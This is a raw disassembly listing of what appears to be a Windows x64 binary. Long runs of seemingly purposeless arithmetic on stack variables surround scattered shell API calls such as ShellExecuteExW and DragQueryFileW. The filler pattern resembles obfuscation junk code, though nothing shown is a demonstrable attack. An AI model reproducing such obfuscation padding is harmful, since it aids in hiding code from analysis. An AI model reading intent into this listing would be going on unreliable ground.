mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbdc]
sub eax, ecx
mov word [rsp + 0x216c], ax
lea rcx, [rsp + 0x1e5b0]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x7204], eax
mov rax, qword [rsp + 0xf090]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x27e4]
add eax, ecx
mov word [rsp + 0x2040], ax
mov rax, qword [rsp + 0xea98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x71c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x705c], eax
mov rax, qword [0x14019f0f8]
mov rax, qword [rax]
mov qword [rsp + 0xfc50], rax
mov rax, qword [rsp + 0xeb18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe2f8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x55], al
movsx eax, word [rsp + 0x2f18]
mov rcx, qword [rsp + 0xd588]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0xd228]
movzx eax, word [rax]
mov word [0x14019f778], ax
mov rax, qword [rsp + 0x9e78]
mov rcx, qword [rsp + 0xfb80]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xf000], rax
mov rax, qword [rsp + 0xd1c0]
mov rcx, qword [rsp + 0xfa50]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xef50], rax
lea rcx, [rsp + 0x1f7e0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x6fac], eax
mov rax, qword [rsp + 0xed70]
mov qword [rsp + 0xfc58], rax
mov r9d, SHUpdateImageW
mov r8, qword [rsp + 0xd1b0]
mov edx, 0xdd
mov rcx, qword [rsp + 0xfc60]
call qword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [rsp + 0x6d1c], eax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x24f4]
sar eax, cl
mov word [rsp + 0x2e68], ax
mov eax, dword [rsp + 0x6db0]
mov dword [rsp + 0x7254], eax
mov rax, qword [rsp + 0xfb90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4f9], al
mov rax, qword [rsp + 0xe788]
mov rcx, qword [rsp + 0xe490]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xea60], rax
mov rax, qword [rsp + 0xe370]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x513]
sub eax, ecx
mov byte [rsp + 0x3fd], al
mov eax, dword [rsp + 0x65b4]
imul eax, dword [rsp + 0x6fcc]
mov rcx, qword [rsp + 0xf398]
mov dword [rcx], eax
movsx eax, word [rsp + 0x2cb0]
movsx ecx, word [rsp + 0x2aec]
shl eax, cl
mov word [0x14019f54c], ax
mov rax, qword [rsp + 0xd4e0]
movzx eax, word [rax]
mov word [rsp + 0x320c], ax
mov rax, qword [rsp + 0xf090]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2c2c], ax
mov rax, qword [rsp + 0xe100]
mov rcx, qword [rsp + 0xe8e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb580], rax
mov dword [rsp + 0x20], 0x7e
mov r9d, 9
lea r8, [rsp + 0x21990]
mov edx, 0x38
mov rcx, qword [rsp + 0xf128]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x6c08], eax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov ecx, dword [0x14019f2bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x603c], eax
mov rax, qword [rsp + 0xb658]
mov rcx, qword [rsp + 0xc4b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc4a8], rax
movzx eax, byte [rsp + 0x525]
mov byte [rsp + 0x5e0], al
movsx eax, word [rsp + 0x2a64]
movsx ecx, word [rsp + 0x2cdc]
add eax, ecx
mov word [rsp + 0x2b50], ax
mov rax, qword [rsp + 0xf940]
movzx eax, word [rax]
mov word [rsp + 0x3210], ax
mov rax, qword [rsp + 0xe080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9918]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d390], rax
mov rax, qword [rsp + 0xd800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf248]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd888]
mov word [rcx], ax
mov rax, qword [rsp + 0xf088]
mov rcx, qword [rsp + 0xf390]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ff8], rax
mov rax, qword [rsp + 0x98a0]
movzx ecx, al
mov rax, qword [0x14019f308]
sar rax, cl
mov qword [rsp + 0xb358], rax
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfbf8]
mov qword [rsp + 0xfc68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfc68]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x95a0], rax
mov rax, qword [rsp + 0xdd80]
mov eax, dword [rax]
mov dword [rsp + 0x7258], eax
mov rax, qword [rsp + 0xf688]
mov ecx, dword [rsp + 0x6d8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x71d4], eax
mov rax, qword [rsp + 0xf8c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe370]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x570], al
movsx eax, byte [rsp + 0x46d]
mov rcx, qword [0x14019f270]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa3], al
movzx eax, word [rsp + 0x2c50]
mov word [0x14019f77c], ax
mov rax, qword [rsp + 0xf6f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3164]
shl eax, cl
mov word [rsp + 0x2e20], ax
mov rax, qword [rsp + 0xf4b8]
movzx eax, word [rax]
mov word [rsp + 0x3214], ax
movzx eax, word [0x14019d2dc]
movzx ecx, word [rsp + 0x2f88]
sar eax, cl
mov word [rsp + 0x31c4], ax
mov eax, dword [rsp + 0x6368]
mov ecx, dword [rsp + 0x5b44]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b18], eax
mov rax, qword [0x14019f270]
movzx eax, byte [rax]
mov byte [rsp + 0x5e1], al
mov rax, qword [rsp + 0xd248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
lea rax, [rsp + 0x315c]
mov qword [rsp + 0xfc70], rax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2af4], ax
mov rax, qword [rsp + 0xad58]
mov rcx, qword [rsp + 0xdcd8]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d128], rax
mov rax, qword [rsp + 0xe6d8]
mov rcx, qword [rsp + 0xf918]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xba60], rax
lea rdx, [rsp + 0x2a30]
mov rcx, qword [rsp + 0xf0c0]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x725c], eax
mov rax, qword [rsp + 0xa1f0]
mov rcx, qword [0x14019f5f0]
mov qword [rsp + 0xfc78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfc78]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9688], rax
lea rcx, [rsp + 0xd4e8]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0xd580], rax
mov rax, qword [rsp + 0xddf8]
mov rcx, qword [rsp + 0xdeb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb450], rax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
mov word [rsp + 0x3218], ax
mov eax, dword [rsp + 0x60c4]
mov rcx, qword [rsp + 0xf098]
mov qword [rsp + 0xfc80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfc80]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7128], eax
mov rax, qword [rsp + 0xf8c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x578]
sub eax, ecx
mov byte [rsp + 0x227], al
mov rax, qword [rsp + 0xdbd8]
mov ecx, dword [rsp + 0x586c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x58ac], eax
mov rax, qword [rsp + 0xd9a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xea60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd6e0], rax
movsx eax, byte [rsp + 0x5ba]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019ef92], al
mov rax, qword [rsp + 0xdc40]
movzx eax, word [rax]
mov word [rsp + 0x321c], ax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3200]
or eax, ecx
mov word [rsp + 0x2d48], ax
mov rax, qword [rsp + 0xe730]
movzx eax, word [rax]
mov word [rsp + 0x3220], ax
mov rax, qword [rsp + 0xf1e0]
mov rcx, qword [rsp + 0xe9d8]
mov qword [rsp + 0xfc88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfc88]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x95e0], rax
mov rax, qword [rsp + 0xe488]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe408]
mov qword [rsp + 0xfc90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfc90]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc4d8], rax
mov rax, qword [rsp + 0xed80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd0a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x33a], al
mov rax, qword [rsp + 0xd118]
mov ecx, dword [rsp + 0x5954]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6dfc], eax
movzx eax, word [rsp + 0x288c]
mov word [rsp + 0x3224], ax
lea rax, [rsp + 0x2e34]
mov qword [0x14019f780], rax
mov rax, qword [rsp + 0xeb58]
mov rcx, qword [rsp + 0xc898]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbc68], rax
movzx eax, word [rsp + 0x2c58]
mov rcx, qword [rsp + 0xd8c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x17c4], ax
movzx eax, byte [0x14019ef90]
movzx ecx, byte [rsp + 0x113]
sub eax, ecx
mov byte [rsp + 0x216], al
mov rax, qword [rsp + 0xe970]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6e98]
sar eax, cl
mov dword [rsp + 0x65b4], eax
mov eax, dword [rsp + 0x6e9c]
mov dword [rsp + 0x7260], eax
mov rax, qword [0x14019f198]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xef60]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x58c], al
mov rax, qword [rsp + 0xe580]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb7d8]
shl rax, cl
mov qword [rsp + 0xb698], rax
mov rax, qword [rsp + 0xf5f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe0b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x20a4], ax
movzx eax, word [rsp + 0x183c]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d2e8], ax
mov rax, qword [0x14019f558]
mov rcx, qword [rsp + 0xbfc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc048], rax
mov rax, qword [rsp + 0xd2a0]
mov rax, qword [rax]
mov qword [rsp + 0xfc98], rax
mov rax, qword [rsp + 0xd818]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdd10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf30], ax
mov rax, qword [rsp + 0xf630]
movzx eax, word [rax]
mov word [rsp + 0x3228], ax
mov rax, qword [rsp + 0xf0b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x175]
or eax, ecx
mov rcx, qword [rsp + 0xd218]
mov byte [rcx], al
mov eax, dword [rsp + 0x7248]
movzx ecx, al
mov eax, dword [rsp + 0x6804]
shr eax, cl
mov dword [rsp + 0x6e6c], eax
mov rax, qword [rsp + 0xea78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xec48]
mov qword [rsp + 0xfca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfca0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcd80], rax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xd9d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xeb30], rax
movzx eax, word [rsp + 0x13dc]
mov word [0x14019f788], ax
mov ecx, 0x63
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x6dd8], eax
movzx eax, word [rsp + 0x13e8]
mov word [rsp + 0x322c], ax
movzx eax, byte [0x14019d010]
mov rcx, qword [rsp + 0xe420]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3f0], al
mov rax, qword [rsp + 0xdb30]
mov ecx, dword [rsp + 0x5cac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7080], eax
mov rax, qword [0x14019f2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe8b0]
mov qword [rsp + 0xfca8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfca8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9ed8], rax
movsx eax, byte [rsp + 0x531]
movsx ecx, byte [rsp + 0x5d8]
shl eax, cl
mov rcx, qword [rsp + 0xe5d8]
mov byte [rcx], al
lea rax, [rsp + 0x6fec]
mov qword [rsp + 0xfcb0], rax
mov rax, qword [0x14019f2e8]
mov rcx, qword [rsp + 0xdb10]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xe6b0], rax
mov rax, qword [rsp + 0xe6a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bc8], ax
mov rax, qword [rsp + 0xda50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf848]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d398], ax
mov rax, qword [rsp + 0xd768]
mov qword [rsp + 0xfcb8], rax
mov rax, qword [rsp + 0xfb70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xece0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2e3c], ax
movzx eax, word [rsp + 0x31bc]
mov word [rsp + 0x3230], ax
mov rax, qword [rsp + 0xedd0]
mov rax, qword [rax]
mov rcx, qword [0x14019d040]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xee80], rax
mov rax, qword [rsp + 0xddc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7174]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6588], eax
mov rax, qword [rsp + 0xf478]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef96]
or eax, ecx
mov byte [rsp + 0x5d8], al
mov rax, qword [rsp + 0xdb78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xea78]
mov qword [rsp + 0xfcc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfcc0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9c30], rax
mov rax, qword [rsp + 0xdbf0]
movzx eax, word [rax]
mov word [rsp + 0x3234], ax
mov rax, qword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0xfba8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [0x14019f448]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf5e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e70]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e50], eax
movzx eax, byte [rsp + 0x1ad]
mov rcx, qword [rsp + 0xf2a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x43b], al
movsx eax, word [rsp + 0x2f84]
movsx ecx, word [rsp + 0x2b68]
sub eax, ecx
mov word [rsp + 0x1e7c], ax
movzx eax, word [rsp + 0xe74]
mov rcx, qword [rsp + 0xd888]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x254c], ax
movzx eax, byte [rsp + 0x54b]
mov byte [rsp + 0x5e2], al
mov rax, qword [rsp + 0xda68]
movzx ecx, al
mov rax, qword [rsp + 0xd658]
shl rax, cl
mov rcx, qword [rsp + 0xf200]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe1f0]
mov eax, dword [rax]
mov dword [rsp + 0x7264], eax
movsx eax, word [rsp + 0x29cc]
mov rcx, qword [rsp + 0xdb90]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2d14], ax
mov rax, qword [rsp + 0xef10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c6c]
or eax, ecx
mov word [0x14019d05c], ax
mov rax, qword [rsp + 0xfaf8]
mov rcx, qword [rsp + 0xdb98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xf690], rax
mov rax, qword [rsp + 0xedd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9288]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa560], rax
mov rax, qword [rsp + 0xed10]
mov rcx, qword [rsp + 0xf4c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcae0], rax
movzx eax, word [rsp + 0x2cc4]
mov word [rsp + 0x3238], ax
movsx eax, byte [rsp + 0x5d6]
mov rcx, qword [rsp + 0xf478]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x555], al
mov eax, dword [rsp + 0x5cf0]
mov ecx, dword [rsp + 0x6740]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ffc], eax
lea rax, [0x14019d290]
mov qword [rsp + 0xfcc8], rax
mov eax, dword [rsp + 0x6458]
cdq
mov rcx, qword [rsp + 0xda60]
idiv dword [rcx]
mov dword [rsp + 0x64c8], eax
lea rax, [rsp + 0x51e]
mov qword [rsp + 0xfcd0], rax
mov r9d, 0x61
lea r8, [rsp + 0x2a5c]
lea rdx, [fcn.140182fd0]
mov rcx, qword [rsp + 0xfcd8]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x6d88], eax
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
mov word [0x14019f78c], ax
mov rax, qword [0x14019f588]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e38]
and eax, ecx
mov word [rsp + 0x2f5c], ax
mov rax, qword [rsp + 0xebd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1138]
xor eax, ecx
mov word [rsp + 0x1144], ax
mov rax, qword [rsp + 0x9528]
mov rcx, qword [rsp + 0xd2a0]
mov qword [rsp + 0xfce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfce0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xac28], rax
mov rax, qword [rsp + 0xdf20]
mov rcx, qword [rsp + 0xf368]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6e74], eax
movzx eax, byte [rsp + 0x26b]
mov byte [rsp + 0x5e3], al
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov rcx, qword [0x14019f3b0]
mov qword [rsp + 0xfce8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfce8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xdef0], rax
mov rax, qword [rsp + 0xe828]
movzx eax, word [rax]
mov word [rsp + 0x323c], ax
movzx eax, word [rsp + 0x304c]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2aac], ax
mov rax, qword [rsp + 0xea68]
mov rcx, qword [rsp + 0xde38]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x14019f758]
mov qword [rcx], rax
movzx eax, word [rsp + 0x2e40]
movzx ecx, word [rsp + 0x2c1c]
sar eax, cl
mov word [rsp + 0x2f10], ax
mov rax, qword [rsp + 0xf4c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd000]
shl rax, cl
mov qword [rsp + 0xb4f8], rax
lea r9, [rsp + 0x6d50]
lea r8, [rsp + 0xd580]
mov rdx, qword [rsp + 0xd5b8]
lea rcx, [rsp + 0x6d38]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x7218], eax
mov rax, qword [rsp + 0xddf8]
mov rcx, qword [rsp + 0xc8e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xf5d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe450]
movzx eax, byte [rax]
mov byte [rsp + 0x5e4], al
mov rax, qword [rsp + 0xeaa8]
mov rax, qword [rax]
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xedd8], rax
mov eax, dword [rsp + 0x5d40]
mov ecx, dword [rsp + 0x6e64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d78], eax
mov rax, qword [rsp + 0xf050]
movzx eax, byte [rax]
movzx ecx, byte [0x14019ef90]
and eax, ecx
mov byte [rsp + 0x31a], al
mov rax, qword [rsp + 0xf988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e18]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe6e8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0x2df4]
shl eax, cl
mov word [0x14019d39c], ax
lea rax, [0x14019f78c]
mov qword [rsp + 0xfcf0], rax
mov rax, qword [rsp + 0xf0e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf6e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x12e8], ax
movzx eax, word [rsp + 0x2e74]
mov word [rsp + 0x3240], ax
mov eax, dword [rsp + 0x6f50]
mov ecx, dword [rsp + 0x6e18]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ef8], eax
mov rax, qword [rsp + 0xd0e8]
mov rcx, qword [rsp + 0xd938]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa980], rax
mov rcx, qword [rsp + 0xfcf8]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Unlock]
mov dword [rsp + 0x7218], eax
mov rax, qword [rsp + 0xdd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe4], al
movsx eax, word [0x14019f208]
mov rcx, qword [rsp + 0xe148]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e80], ax
movzx eax, word [rsp + 0x2bd4]
mov word [rsp + 0x3244], ax
mov rax, qword [rsp + 0x9e78]
mov qword [0x14019f790], rax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc120]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xe9e0], rax
mov rax, qword [rsp + 0xef80]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe798]
shl rax, cl
mov qword [rsp + 0xa1e8], rax
mov rax, qword [rsp + 0xc4f8]
mov qword [rsp + 0xfd00], rax
mov rax, qword [0x14019f510]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x31d4]
sar eax, cl
mov word [rsp + 0x31a8], ax
mov rax, qword [rsp + 0xfae0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x549]
add eax, ecx
mov byte [rsp + 0x1f6], al
mov rax, qword [rsp + 0xed00]
mov rcx, qword [rsp + 0xee10]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xf688]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd338]
mov rcx, qword [rsp + 0xe1a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6e2c], eax
mov rax, qword [rsp + 0xf8e0]
movzx eax, byte [rax]
mov byte [rsp + 0x5e5], al
mov rax, qword [rsp + 0xfc48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa918]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d020], rax
movsx eax, word [rsp + 0x24b8]
movsx ecx, word [rsp + 0x316c]
and eax, ecx
mov word [rsp + 0x245c], ax
lea r9, [rsp + 0xd140]
lea r8, [rsp + 0x1f3f0]
lea rdx, [rsp + 0x71f0]
lea rcx, [rsp + 0xd368]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x6ed0], eax
movsx eax, word [rsp + 0x1910]
mov rcx, qword [0x14019f008]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x28f8], ax
movzx eax, word [rsp + 0x2fe8]
movzx ecx, word [rsp + 0x2de0]
shl eax, cl
mov word [rsp + 0x20b0], ax
mov rax, qword [rsp + 0xf278]
mov rcx, qword [rsp + 0xda90]
mov qword [rsp + 0xfd08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfd08]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc508], rax
movzx eax, byte [rsp + 0x33a]
mov byte [rsp + 0x5e6], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa498]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xccc8], rax
mov eax, dword [rsp + 0x70c8]
mov dword [rsp + 0x7268], eax
movsx eax, word [rsp + 0x2ddc]
mov rcx, qword [rsp + 0xd750]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d00], ax
movzx eax, word [rsp + 0x3058]
mov word [0x14019f798], ax
mov rax, qword [rsp + 0xdfe8]
mov rcx, qword [rsp + 0xe700]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9090], rax
movzx eax, word [rsp + 0x2aa8]
movzx ecx, word [0x14019d038]
sub eax, ecx
mov word [rsp + 0x2b98], ax
mov eax, dword [rsp + 0x7108]
mov rcx, qword [rsp + 0xdb30]
mov qword [rsp + 0xfd10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfd10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6b50], eax
movzx eax, byte [rsp + 0x56e]
mov byte [rsp + 0x5e7], al
movsx eax, byte [0x14019ef97]
movsx ecx, byte [rsp + 0x149]
or eax, ecx
mov rcx, qword [rsp + 0xe8f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xe9a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcb68]
shr rax, cl
mov qword [rsp + 0x90a0], rax
mov rax, qword [rsp + 0xfb38]
mov ecx, dword [rsp + 0x6f14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7038], eax
mov rax, qword [rsp + 0xd588]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2f9c]
add eax, ecx
mov word [rsp + 0x1598], ax
mov rax, qword [rsp + 0xf0b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e64]
and eax, ecx
mov word [0x14019d154], ax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov qword [rsp + 0xfd18], rax
mov rax, qword [rsp + 0xcc68]
mov rcx, qword [rsp + 0xb340]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x92b0], rax
mov rax, qword [rsp + 0xd9b8]
movzx eax, word [rax]
mov word [rsp + 0x3248], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
movzx ecx, word [0x14019d154]
sub eax, ecx
mov word [rsp + 0x2d50], ax
mov eax, dword [rsp + 0x6fb4]
mov rcx, qword [rsp + 0xdd50]
mov qword [rsp + 0xfd20], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfd20]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6658], eax
mov rax, qword [rsp + 0xfbe8]
movzx ecx, al
mov rax, qword [rsp + 0xedc8]
shr rax, cl
mov qword [rsp + 0xa248], rax
movsx eax, byte [rsp + 0x287]
movsx ecx, byte [rsp + 0x26d]
or eax, ecx
mov byte [rsp + 0x560], al
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov qword [rsp + 0xfd28], rax
mov rax, qword [rsp + 0xfa90]
movsx eax, word [rax]
movsx ecx, word [0x14019d374]
sub eax, ecx
mov word [0x14019d3a0], ax
mov rax, qword [rsp + 0xf4b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c48]
add eax, ecx
mov word [rsp + 0x317c], ax
movzx eax, byte [rsp + 0xa8]
movzx ecx, byte [rsp + 0x50a]
add eax, ecx
mov byte [rsp + 0x543], al
mov eax, dword [rsp + 0x7184]
mov rcx, qword [rsp + 0xda60]
mov qword [rsp + 0xfd30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xfd30]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5e30], eax
mov rax, qword [rsp + 0xd780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe238]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe378]
mov qword [rcx], rax
mov rax, qword [rsp + 0xf868]
movzx eax, byte [rax]
mov byte [rsp + 0x5e8], al
